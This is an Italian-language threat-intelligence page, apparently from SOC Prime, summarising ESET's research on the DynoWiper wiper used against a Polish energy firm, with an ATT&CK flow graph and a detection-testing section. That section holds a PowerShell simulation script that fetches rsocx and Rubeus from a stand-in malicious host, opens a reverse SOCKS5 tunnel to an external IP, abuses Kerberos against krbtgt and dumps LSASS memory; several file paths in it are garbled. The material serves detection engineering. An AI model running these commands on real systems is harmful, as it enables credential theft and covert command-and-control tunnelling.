SOC Prime Bias: Critico

04 Feb 2026 18:19

Aggiornamento di DynoWiper di ESET Research: Analisi tecnica e attribuzione

Author Photo
Ruslan Mikhalov Capo della Ricerca sulle Minacce presso SOC Prime linkedin icon Segui
Aggiornamento di DynoWiper di ESET Research: Analisi tecnica e attribuzione
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sintesi

DynoWiper è un wiper distruttivo utilizzato contro un’organizzazione del settore energetico in Polonia, con impatto su più endpoint durante le operazioni. Gli eseguibili sono stati preparati in una posizione di rete condivisa e avviati direttamente da essa. ESET attribuisce l’attività a Sandworm con una fiducia media. Una volta eseguito, il malware corrompe i file mirati con byte casuali e innesca un riavvio forzato per completare l’impatto.

Indagine

ESET ha recuperato tre campioni: schtask.exe, schtask2.exe e _update.exe, rilasciati sotto C:inetpubpub. I percorsi PDB incorporati suggeriscono che i binari siano stati compilati in un ambiente Vagrant. L’ingegneria inversa ha rivelato una routine di cancellazione a tre fasi, con due varianti che inseriscono una pausa di cinque secondi tra le fasi. Gli artefatti post-compromise includevano anche lo strumento Kerberos Rubeus e un proxy rsocx SOCKS5 all’interno della rete della vittima.

Mitigazione

ESET PROTECT nei sistemi delle vittime ha bloccato tutte e tre le varianti, limitando i danni. Ridurre l’esposizione prevenendo la creazione non autorizzata di attività pianificate e monitorando le scritture inaspettate nelle directory condivise. Aggiungere elenchi di permessi delle applicazioni e vietare l’esecuzione da condivisioni di rete dove possibile.

Risposta

Identificare e isolare gli host che eseguono schtask.exe, schtask2.exe o *_update.exe da una condivisione. Preservare le prove volatili, esaminare le attività pianificate e le tracce di distribuzione di PowerShell, e rimuovere strumenti come Rubeus e rsocx. Completare una piena analisi forense e ripristinare i dati da backup puliti verificati.

graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2f0c2 classDef action fill:#99ccff classDef malware fill:#ffd699 %% Nodes action_ingress[“<b>Azione</b> – <b>T1105 Trasferimento di Strumenti in Ingresso</b><br/><b>Descrizione</b>: Strumenti aggiuntivi come Rubeus.exe e rsocx sono stati scaricati nell’ambiente compromesso.”] class action_ingress technique tool_rubeus[“<b>Strumento</b> – <b>Nome</b>: Rubeus.exe<br/><b>Descrizione</b>: Esegue il furto e l’abuso delle credenziali Kerberos.”] class tool_rubeus tool tool_rsocx[“<b>Strumento</b> – <b>Nome</b>: rsocx<br/><b>Descrizione</b>: Proxy SOCKS5 utilizzato per inoltrare il traffico di Comando e Controllo.”] class tool_rsocx tool action_cred_dump[“<b>Azione</b> – <b>T1003.001 Memoria LSASS</b><br/><b>Descrizione</b>: La memoria del processo LSASS è stata acquisita tramite Gestione Attività per ottenere le credenziali.”] class action_cred_dump technique action_powershell[“<b>Azione</b> – <b>T1059.001 PowerShell</b><br/><b>Descrizione</b>: Script PowerShell sono stati eseguiti per distribuire binari malevoli e facilitare ulteriori azioni.”] class action_powershell technique action_cmd[“<b>Azione</b> – <b>T1059.003 Shell dei Comandi di Windows</b><br/><b>Descrizione</b>: cmd.exe è stato utilizzato per eseguire comandi di shell e orchestrare il wiper.”] class action_cmd technique action_gpo_discovery[“<b>Azione</b> – <b>T1615 Individuazione dei Criteri di Gruppo</b><br/><b>Descrizione</b>: Gli Oggetti Criteri di Gruppo sono stati identificati per preparare una distribuzione su larga scala.”] class action_gpo_discovery technique action_gpo_modify[“<b>Azione</b> – <b>T1484 Modifica dei Criteri di Dominio o Tenant</b><br/><b>Descrizione</b>: I criteri di gruppo sono stati modificati per distribuire il binario DynoWiper in tutto il dominio.”] class action_gpo_modify technique action_schtask[“<b>Azione</b> – <b>T1053 Attività Pianificata</b><br/><b>Descrizione</b>: Attività pianificate sono state create con schtask.exe per garantire la persistenza dell’esecuzione del wiper.”] class action_schtask technique action_data_removable[“<b>Azione</b> – <b>T1025 Dati da Supporti Rimovibili</b><br/><b>Descrizione</b>: Strumenti e wiper sono stati collocati nella directory di rete condivisa C:\\inetpub\\pub\\.”] class action_data_removable technique action_file_discovery[“<b>Azione</b> – <b>T1083 Individuazione di File e Directory</b><br/><b>Descrizione</b>: File e directory sono stati enumerati su unità fisse e rimovibili escludendo le cartelle di sistema.”] class action_file_discovery technique action_wipe[“<b>Azione</b> – <b>T1561.001 Cancellazione del Contenuto del Disco</b><br/><b>Descrizione</b>: Il contenuto dei file è stato sovrascritto con dati casuali, eliminando o corrompendo i dati.”] class action_wipe technique action_reboot[“<b>Azione</b> – <b>T1529 Arresto o Riavvio del Sistema</b><br/><b>Descrizione</b>: È stato forzato un riavvio del sistema dopo la cancellazione per completare la distruzione.”] class action_reboot technique action_proxy[“<b>Azione</b> – <b>T1090.002 Proxy Esterno</b><br/><b>Descrizione</b>: rsocx è stato configurato per utilizzare il proxy SOCKS5 esterno 31.172.71.5:8008 per nascondere il traffico di Comando e Controllo.”] class action_proxy technique malware_dyno[“<b>Malware</b> – <b>Nome</b>: DynoWiper<br/><b>Descrizione</b>: Payload distruttivo che sovrascrive i dati e forza il riavvio del sistema.”] class malware_dyno malware %% Connections action_ingress –>|scarica| tool_rubeus action_ingress –>|scarica| tool_rsocx tool_rubeus –>|abilita| action_cred_dump tool_rsocx –>|fornisce| action_proxy action_cred_dump –>|fornisce credenziali a| action_powershell action_powershell –>|esegue| action_cmd action_cmd –>|orchestra| action_wipe action_gpo_discovery –>|porta a| action_gpo_modify action_gpo_modify –>|distribuisce| malware_dyno action_schtask –>|crea attività per| malware_dyno action_data_removable –>|memorizza| tool_rubeus action_data_removable –>|memorizza| tool_rsocx action_data_removable –>|memorizza| malware_dyno malware_dyno –>|esegue| action_file_discovery malware_dyno –>|esegue| action_wipe action_wipe –>|attiva| action_reboot action_proxy –>|inoltra traffico per| malware_dyno

Flusso di Attacco

Esecuzione Simulazione

Prerequisito: Il Check Preflight di Telemetria & Base deve essere passato.

Razionale: Questa sezione dettaglia l’esatta esecuzione della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente le TTP identificate e mirare a generare esattamente la telemetria attesa dalla logica di rilevamento. Esempi astratti o non correlati porteranno a una diagnosi errata.

  • Narrativa & Comandi dell’Attacco:

    1. Stabilire un proxy SOCKS5 inverso utilizzando rsocx.exe. L’avversario scarica il binario da un server esterno, lo posiziona in %TEMP%, ed esegue il comando con l’argomento -r 31.172.71.5:8008 per creare un tunnel inverso verso l’host C2.
    2. Eseguire abuso di ticket Kerberos con rubeus.exe. Lo strumento viene eseguito per richiedere un ticket di concessione del ticket Kerberos (TGT) per l’account amministratore del dominio e successivamente forgiare un ticket di servizio (s4u2self).
    3. Eseguire dump della memoria di LSASS utilizzando procdump.exe (una comune alternativa a Task Manager) per catturare il materiale delle credenziali. Sysmon registra un evento di Accesso al Processo dove il processo dell’attaccante procdump.exe accede a lsass.exe con il mask di accesso concesso 0x1010 (PROCESS_VM_READ | PROCESS_QUERY_INFORMATION)Script di Test di Regressione:).
  • # ————————————————————- # Script di simulazione – attiva la regola Sigma per rsocx, rubeus, # e dump di LSASS. Eseguire con privilegi amministrativi. # ————————————————————- # 1. Distribuire rsocx.exe (proxy SOCKS5 inverso) $rsocxPath = “$env:TEMPrsocx.exe” Invoke-WebRequest -Uri “http://malicious.example.com/rsocx.exe” -OutFile $rsocxPath Start-Process -FilePath $rsocxPath -ArgumentList “-r 31.172.71.5:8008” -WindowStyle Hidden # 2. Distribuire rubeus.exe (abuso Kerberos) $rubeusPath = “$env:TEMPrubeus.exe” Invoke-WebRequest -Uri “http://malicious.example.com/rubeus.exe” -OutFile $rubeusPath Start-Process -FilePath $rubeusPath -ArgumentList “dump /service:krbtgt” -WindowStyle Hidden # 3. Eseguire dump di LSASS utilizzando procdump (richiede Sysinternals) $procdumpPath = “$env:TEMPprocdump.exe” Invoke-WebRequest -Uri “https://download.sysinternals.com/files/Procdump.zip” -OutFile “$env:TEMPprocdump.zip” Expand-Archive -Path “$env:TEMPprocdump.zip” -DestinationPath $env:TEMP -Force $procdumpExe = Get-ChildItem “$env:TEMP” -Recurse -Filter “procdump.exe” | Select-Object -First 1 if ($procdumpExe) { Copy-Item $procdumpExe.FullName $procdumpPath -Force Start-Process -FilePath $procdumpPath -ArgumentList “-ma lsass.exe $env:TEMPlsass.dmp” -Wait } Write-Host “Simulazione completata. Controllare SIEM per allarmi.”

    Comandi di Pulizia:
  • Cleanup Commands:

    # Terminare qualsiasi processo malevolo residuo
    Get-Process -Name "rsocx","rubeus","procdump" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Rimuovere i binari e i file di dump
    Remove-Item -Path "$env:TEMPrsocx.exe","$env:TEMPrubeus.exe","$env:TEMPprocdump.exe","$env:TEMPlsass.dmp" -Force -ErrorAction SilentlyContinue
    
    # Opzionalmente cancellare le directory di download temporanee
    Remove-Item -Path "$env:TEMPProcdump.zip","$env:TEMPprocdump" -Recurse -Force -ErrorAction SilentlyContinue
    
    Write-Host "Pulizia completata."